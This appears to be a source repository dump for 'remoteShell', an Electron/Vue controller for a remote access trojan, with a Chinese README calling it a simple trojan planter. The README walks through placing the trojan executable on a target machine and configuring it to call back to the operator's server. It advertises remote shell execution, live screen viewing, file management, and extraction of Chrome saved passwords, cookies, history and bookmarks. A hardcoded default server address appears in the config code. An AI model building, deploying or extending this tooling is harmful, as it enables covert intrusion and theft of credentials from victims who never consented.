├── .env.development ├── .env.production ├── .gitignore ├── README.md ├── babel.config.js ├── package.json ├── public ├── favicon.ico └── index.html ├── src ├── App.vue ├── api │ └── info.js ├── assets │ ├── SHELL.png │ ├── arrow-left.png │ ├── arrow-right.png │ ├── browser.png │ ├── chrome.png │ ├── empty.png │ ├── file.png │ ├── fileManage.png │ ├── floderblue.png │ ├── linux.png │ ├── logo.ico │ ├── mac.png │ ├── screen.png │ ├── stop.png │ └── windows.png ├── background.js ├── components │ └── Menu.vue ├── main.js ├── router │ └── index.js ├── store │ └── index.js ├── utils │ ├── remoteWebsocketConfig.js │ ├── request.js │ └── statck.js └── views │ ├── browser │ ├── bookmarks.vue │ ├── cookie.vue │ ├── history.vue │ ├── index.vue │ └── password.vue │ ├── filemanage │ └── index.vue │ ├── index │ └── Index.vue │ ├── screen │ └── index.vue │ └── shell │ └── index.vue ├── vue.config.js └── yarn.lock /.env.development: -------------------------------------------------------------------------------- 1 | # just a flag 2 | ENV = 'development' 3 | -------------------------------------------------------------------------------- /.env.production: -------------------------------------------------------------------------------- 1 | 9 | # just a flag 10 | ENV = 'production' 11 | 12 | 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /build 4 | *.exe 5 | 6 | # local env files 7 | .env.local 8 | .env.*.local 9 | 10 | # Log files 11 | npm-debug.log* 12 | yarn-debug.log* 13 | yarn-error.log* 14 | pnpm-debug.log* 15 | 16 | # Editor directories and files 17 | .idea 18 | .vscode 19 | *.suo 20 | *.ntvs* 21 | *.njsproj 22 | *.sln 23 | *.sw? 24 | 25 | #Electron-builder output 26 | /dist_electron -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #
简单植马器
2 | # remoteShell 3 | # 📌项目基本介绍 4 | ## 项目地址 5 | [https://github.com/OblivionTime/remoteShell](https://github.com/OblivionTime/remoteShell) 6 | ## 分支介绍 7 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/8ccdcccb0e4243428eee5cd6e256d0ad.png) 8 | # 💨基本使用流程 9 | ## 下载文件 10 | [https://github.com/OblivionTime/remoteShell/releases](https://github.com/OblivionTime/remoteShell/releases) 11 | 12 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/12be07ff44f94a59a498496798276d2c.png) 13 | ## 解压 14 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/eeb21c8040a2486e8dfeab41316d56c6.png) 15 | ## 启动 16 | 先启动`remoteShellServer-win.exe`也就是先启动服务 17 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/efd647c7d5ff465cbed7005d4efd2500.png) 18 | 然后打开`马端控制.exe` 19 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/a0c2e4ee53d649978fb69e2ac878b6e5.png) 20 | 21 | 然后将`config.json`和`remoteShellTrojan.exe`移植到目标机器上,根据`自己的服务器ip`地址修改`config.json`文件中的`hostname`和`port`,如果不知道看自己服务器ip的话可以在命令行输入`ipconfig`查看自己的ip 22 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/ed073d754277462180e3aeb12f2bc04c.png) 23 | 修改完后双击运行`remoteShellTrojan.exe`即可,出现下面这种情况则表示连接成功 24 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/18383d0871404a39a97be8aeb50d9e8c.png) 25 | 去`马端控制`查看上线的机器 26 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/1355f54117b644eca797fac784d4f943.png) 27 | 28 | # ✨前端基本介绍 29 | ## 源码zip下载地址 30 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main) 31 | 32 | ## ✨介绍 33 | 马端控制是基于`vue`和`electron`,使用`element-UI`框架,通过websocket进行数据传输,使用`ffmpeg.exe`实现简单的屏幕录制功能 34 | ## ❗功能 35 | 1. shell命令执行 36 | 2. 实时屏幕 37 | 3. 文件管理 38 | 4. 获取chrome浏览器的书签,历史记录,网站保存的账号和密码,网站所有cookie 39 | 40 | ## ⚙️调试 41 | ```shell 42 | #拉取前端 43 | git clone https://github.com/OblivionTime/remoteShell.git 44 | # 安装依赖包 45 | yarn 46 | # 调试 47 | yarn serve 48 | # 打包 49 | yarn build 50 | ``` 51 | ## 🖼️ 项目截图 52 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/2271c0ff687d4b8bb47b71c36977717e.png) 53 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/8eccacb4e38345b4998501de0020c592.png) 54 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/83951d3f0c1b45edbd3a2887ae101915.png) 55 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/c00b2badb17349eeaf19381a356f0573.png) 56 | # ✨后端基本介绍 57 | ## 源代码zip下载地址 58 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server) 59 | 60 | ## ✨介绍 61 | 后端主要通过纯nodejs,后端主要重要在于信息传输,并没有做任何的特殊处理,所以基本上很多功能代码相似 62 | ## ⚙️调试 63 | ```shell 64 | #拉取前端 65 | git clone https://github.com/OblivionTime/remoteShell.git 66 | git chekcout server 67 | # 安装依赖包 68 | yarn 69 | # 调试 70 | yarn serve 71 | # 打包 72 | yarn build 73 | ``` 74 | # ✨马端基本介绍 75 | ## 源zip下载地址 76 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan) 77 | ## ✨介绍 78 | 马端纯nodejs实现,主要调用了以下几个库的基本使用 79 | 80 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/86d1f580f1f14b379ce5fa488a307914.png) 81 | ## ⚙️调试 82 | ```shell 83 | #拉取前端 84 | git clone https://github.com/OblivionTime/remoteShell.git 85 | git chekcout trojan 86 | # 安装依赖包 87 | yarn 88 | # 调试 89 | yarn serve 90 | # 打包成win 91 | yarn build:win 92 | # 打包成mac 93 | yarn build:mac 94 | # 打包成linux 95 | yarn build:linux 96 | ``` 97 | 98 | ## ⚙️ 配置项 99 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/68981c31695648229ab32dedcd6027de.png) 100 | `hostname`表示后端ip地址,`port`表示后端端口,如果当前目录下没有`config.json`文件则系统会自动默认为`localhost:7880` -------------------------------------------------------------------------------- /babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [ 3 | '@vue/cli-plugin-babel/preset' 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "remoteShell", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "build": "vue-cli-service electron:build", 7 | "serve": "vue-cli-service electron:serve", 8 | "postinstall": "electron-builder install-app-deps", 9 | "postuninstall": "electron-builder install-app-deps" 10 | }, 11 | "main": "background.js", 12 | "dependencies": { 13 | "core-js": "^3.6.5", 14 | "vue": "2.6.11", 15 | "vue-router": "^3.2.0", 16 | "vuex": "^3.4.0", 17 | "element-ui": "2.13.2", 18 | "axios": "^0.27.2", 19 | "xterm": "^5.0.0", 20 | "xterm-addon-attach": "^0.7.0", 21 | "xterm-addon-fit": "^0.6.0" 22 | }, 23 | "devDependencies": { 24 | "@vue/cli-plugin-babel": "~4.5.15", 25 | "@vue/cli-plugin-router": "~4.5.15", 26 | "@vue/cli-plugin-vuex": "~4.5.15", 27 | "@vue/cli-service": "~4.5.15", 28 | "electron": "^13.0.0", 29 | "electron-devtools-installer": "^3.1.0", 30 | "sass": "^1.26.5", 31 | "sass-loader": "^8.0.2", 32 | "vue-cli-plugin-electron-builder": "~2.1.1", 33 | "vue-template-compiler": "2.6.11" 34 | }, 35 | "browserslist": [ 36 | "> 1%", 37 | "last 2 versions", 38 | "not dead" 39 | ] 40 | } -------------------------------------------------------------------------------- /public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/public/favicon.ico -------------------------------------------------------------------------------- /public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | <%= htmlWebpackPlugin.options.title %> 9 | 10 | 11 | 14 |
15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/App.vue: -------------------------------------------------------------------------------- 1 | 9 | 47 | 85 | -------------------------------------------------------------------------------- /src/api/info.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-08-10 11:06:59 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-01 15:42:25 8 | */ 9 | import request from '@/utils/request' 10 | //获取房间号 11 | export function RoomList(params) { 12 | return request({ 13 | url: '/list', 14 | method: 'get', 15 | params, 16 | }) 17 | } 18 | //修改备注 19 | export function updateNote(data) { 20 | return request({ 21 | url: '/updateNote', 22 | method: 'post', 23 | data, 24 | }) 25 | } -------------------------------------------------------------------------------- /src/assets/SHELL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/SHELL.png -------------------------------------------------------------------------------- /src/assets/arrow-left.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/arrow-left.png -------------------------------------------------------------------------------- /src/assets/arrow-right.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/arrow-right.png -------------------------------------------------------------------------------- /src/assets/browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/browser.png -------------------------------------------------------------------------------- /src/assets/chrome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/chrome.png -------------------------------------------------------------------------------- /src/assets/empty.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/empty.png -------------------------------------------------------------------------------- /src/assets/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/file.png -------------------------------------------------------------------------------- /src/assets/fileManage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/fileManage.png -------------------------------------------------------------------------------- /src/assets/floderblue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/floderblue.png -------------------------------------------------------------------------------- /src/assets/linux.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/linux.png -------------------------------------------------------------------------------- /src/assets/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/logo.ico -------------------------------------------------------------------------------- /src/assets/mac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/mac.png -------------------------------------------------------------------------------- /src/assets/screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/screen.png -------------------------------------------------------------------------------- /src/assets/stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/stop.png -------------------------------------------------------------------------------- /src/assets/windows.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/windows.png -------------------------------------------------------------------------------- /src/background.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-08-12 14:21:50 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-01 15:36:36 8 | */ 9 | 'use strict' 10 | import { app, protocol, BrowserWindow } from 'electron' 11 | import { createProtocol } from 'vue-cli-plugin-electron-builder/lib' 12 | const isDevelopment = process.env.NODE_ENV !== 'production' 13 | 14 | // Scheme must be registered before the app is ready 15 | protocol.registerSchemesAsPrivileged([ 16 | { scheme: 'app', privileges: { secure: true, standard: true } } 17 | ]) 18 | const winURL = isDevelopment 19 | ? `http://localhost:8888/` 20 | : 'app://./index.html' 21 | async function createWindow() { 22 | // Create the browser window. 23 | const win = new BrowserWindow({ 24 | width: 1200, 25 | useContentSize: true, 26 | height: 600, 27 | webPreferences: { 28 | nodeIntegration: true, 29 | contextIsolation: false 30 | } 31 | }) 32 | win.maximize(); 33 | if (isDevelopment) { 34 | win.webContents.openDevTools() 35 | } else { 36 | win.setMenu(null); 37 | createProtocol('app') 38 | } 39 | win.loadURL(winURL) 40 | } 41 | 42 | 43 | // Quit when all windows are closed. 44 | app.on('window-all-closed', () => { 45 | // On macOS it is common for applications and their menu bar 46 | // to stay active until the user quits explicitly with Cmd + Q 47 | if (process.platform !== 'darwin') { 48 | app.quit() 49 | } 50 | }) 51 | 52 | app.on('activate', () => { 53 | // On macOS it's common to re-create a window in the app when the 54 | // dock icon is clicked and there are no other windows open. 55 | if (BrowserWindow.getAllWindows().length === 0) createWindow() 56 | }) 57 | 58 | // This method will be called when Electron has finished 59 | // initialization and is ready to create browser windows. 60 | // Some APIs can only be used after this event occurs. 61 | app.on('ready', async () => { 62 | createWindow() 63 | }) 64 | 65 | -------------------------------------------------------------------------------- /src/components/Menu.vue: -------------------------------------------------------------------------------- 1 | 9 | 27 | 28 | 77 | 78 | -------------------------------------------------------------------------------- /src/main.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-08-12 14:20:59 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-01 10:12:47 8 | */ 9 | import Vue from 'vue' 10 | import App from './App.vue' 11 | import router from './router' 12 | import Element from 'element-ui' 13 | import 'element-ui/lib/theme-chalk/index.css'; 14 | Vue.use(Element) 15 | Vue.config.productionTip = false 16 | 17 | new Vue({ 18 | router, 19 | render: h => h(App) 20 | }).$mount('#app') 21 | -------------------------------------------------------------------------------- /src/router/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-11-01 10:02:32 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-09 14:11:28 8 | */ 9 | import Vue from 'vue' 10 | import VueRouter from 'vue-router' 11 | import Index from '../views/index/Index.vue' 12 | import SHELL from '../views/shell/index.vue' 13 | import Screen from '../views/screen/index.vue' 14 | import FileManage from '../views/filemanage/index.vue' 15 | import Browser from '../views/browser/index.vue' 16 | 17 | Vue.use(VueRouter) 18 | 19 | const routes = [ 20 | { 21 | path: '/', 22 | name: 'Index', 23 | component: Index 24 | }, 25 | { 26 | path: '/shell', 27 | name: 'SHELL', 28 | component: SHELL 29 | }, 30 | { 31 | path: '/screen', 32 | name: 'screen', 33 | component: Screen 34 | }, 35 | { 36 | path: '/file', 37 | name: 'file', 38 | component: FileManage 39 | }, 40 | { 41 | path: '/browser', 42 | name: 'browser', 43 | component: Browser 44 | }, 45 | ] 46 | 47 | const router = new VueRouter({ 48 | mode: 'hash', 49 | base: process.env.BASE_URL, 50 | routes 51 | }) 52 | export default router 53 | -------------------------------------------------------------------------------- /src/store/index.js: -------------------------------------------------------------------------------- 1 | import Vue from 'vue' 2 | import Vuex from 'vuex' 3 | 4 | Vue.use(Vuex) 5 | 6 | export default new Vuex.Store({ 7 | state: { 8 | }, 9 | mutations: { 10 | }, 11 | actions: { 12 | }, 13 | modules: { 14 | } 15 | }) 16 | -------------------------------------------------------------------------------- /src/utils/remoteWebsocketConfig.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-08-18 12:24:36 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-01 10:18:55 8 | */ 9 | "use strict"; 10 | export var ipaddr=localStorage.getItem('ipaddr')?localStorage.getItem('ipaddr'):'101.34.204.112:7880' -------------------------------------------------------------------------------- /src/utils/request.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 2.0 4 | * @Autor: solid 5 | * @Date: 2021-12-23 22:30:23 +0800 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-01 10:24:19 8 | */ 9 | import axios from 'axios' 10 | import {ipaddr} from './remoteWebsocketConfig'; 11 | var baseURL = `http://${ipaddr}` 12 | const service = axios.create({ 13 | baseURL: baseURL, 14 | timeout: 50000 15 | }) 16 | service.interceptors.request.use( 17 | (config) => { 18 | 19 | // config.url 20 | return config 21 | }, 22 | (error) => { 23 | // do something with request error 24 | return Promise.reject(error) 25 | } 26 | ) 27 | 28 | // response interceptor 29 | service.interceptors.response.use( 30 | /** 31 | * If you want to get http information such as headers or status 32 | * Please return response => response 33 | */ 34 | 35 | /** 36 | * Determine the request status by custom code 37 | * Here is just an example 38 | * You can also judge the status by HTTP Status Code 39 | */ 40 | response => { 41 | return response.data 42 | }, 43 | error => { 44 | console.log(error); 45 | } 46 | ) 47 | 48 | export default service 49 | -------------------------------------------------------------------------------- /src/utils/statck.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-08-26 16:32:57 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-08-26 16:34:09 8 | */ 9 | export class Stack { 10 | constructor () { 11 | this.items = [] 12 | } 13 | // 返回的长度 14 | size () { 15 | return this.items.length 16 | } 17 | // 压栈(入栈) 18 | push (item) { 19 | this.items.push(item) 20 | } 21 | // 弹栈(出栈) 22 | pop () { 23 | return this.items.pop() 24 | } 25 | // 返回栈顶元素 26 | peek () { 27 | return this.items[this.items.length - 1] 28 | } 29 | // 清空栈 30 | clear () { 31 | this.items = [] 32 | } 33 | // 判断是否空栈 34 | isEmpty () { 35 | return this.size() == 0 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/views/browser/bookmarks.vue: -------------------------------------------------------------------------------- 1 | 9 | 59 | 60 | 99 | 100 | -------------------------------------------------------------------------------- /src/views/browser/cookie.vue: -------------------------------------------------------------------------------- 1 | 9 | 56 | 57 | 82 | 83 | -------------------------------------------------------------------------------- /src/views/browser/history.vue: -------------------------------------------------------------------------------- 1 | 9 | 54 | 55 | 80 | 81 | -------------------------------------------------------------------------------- /src/views/browser/index.vue: -------------------------------------------------------------------------------- 1 | 86 | 87 | 251 | 252 | 289 | -------------------------------------------------------------------------------- /src/views/browser/password.vue: -------------------------------------------------------------------------------- 1 | 9 | 51 | 52 | 80 | 81 | -------------------------------------------------------------------------------- /src/views/filemanage/index.vue: -------------------------------------------------------------------------------- 1 | 220 | 221 | 605 | 606 | 640 | -------------------------------------------------------------------------------- /src/views/index/Index.vue: -------------------------------------------------------------------------------- 1 | 79 | 80 | 240 | 241 | 269 | -------------------------------------------------------------------------------- /src/views/screen/index.vue: -------------------------------------------------------------------------------- 1 | 9 | 70 | 222 | 224 | -------------------------------------------------------------------------------- /src/views/shell/index.vue: -------------------------------------------------------------------------------- 1 | 9 | 14 | 120 | 122 | -------------------------------------------------------------------------------- /vue.config.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Description: 3 | * @Version: 1.0 4 | * @Autor: solid 5 | * @Date: 2022-08-12 14:51:35 6 | * @LastEditors: solid 7 | * @LastEditTime: 2022-11-10 18:31:52 8 | */ 9 | // const path = require('path') 10 | // const fs = require('fs') 11 | module.exports = { 12 | devServer: { 13 | port: "8888", 14 | // open: true, 15 | // https: { 16 | // cert: fs.readFileSync(path.join(__dirname, 'src/ssl/server.crt')), 17 | // key: fs.readFileSync(path.join(__dirname, 'src/ssl/server.key')) 18 | // }, 19 | overlay: { 20 | warnings: false, 21 | errors: true 22 | }, 23 | headers: { 24 | "Cross-Origin-Embedder-Policy": "require-corp", 25 | "Cross-Origin-Opener-Policy": "same-origin", 26 | }, 27 | }, 28 | pluginOptions: { 29 | electronBuilder: { 30 | builderOptions: { 31 | nsis: { 32 | allowToChangeInstallationDirectory: true, 33 | oneClick: false, 34 | installerIcon: "./src/assets/logo.ico", //安装logo 35 | installerHeaderIcon: "./src/assets/logo.ico", //安装logo 36 | "guid": "xxxx", 37 | "perMachine": true, 38 | "allowElevation": true, 39 | "createDesktopShortcut": true, 40 | "createStartMenuShortcut": true, 41 | "shortcutName": "remote" 42 | }, 43 | "compression": "maximum", //压缩 44 | "asar": true, 45 | "directories": { 46 | "output": "build", //打包后指定目录 47 | }, 48 | electronDownload: { 49 | mirror: "https://npm.taobao.org/mirrors/electron/" //镜像设置 50 | }, 51 | win: { 52 | icon: './src/assets/logo.ico', 53 | "target": [ 54 | { 55 | "target": "portable", //分块打包 56 | "arch": [ 57 | "x64", //64位 58 | // "ia32" //32位 59 | ], 60 | 61 | } 62 | ], 63 | 64 | 65 | }, 66 | productName: "remoteShell", //应用的名称 67 | }, 68 | // nodeIntegration: true, 69 | } 70 | } 71 | } 72 | --------------------------------------------------------------------------------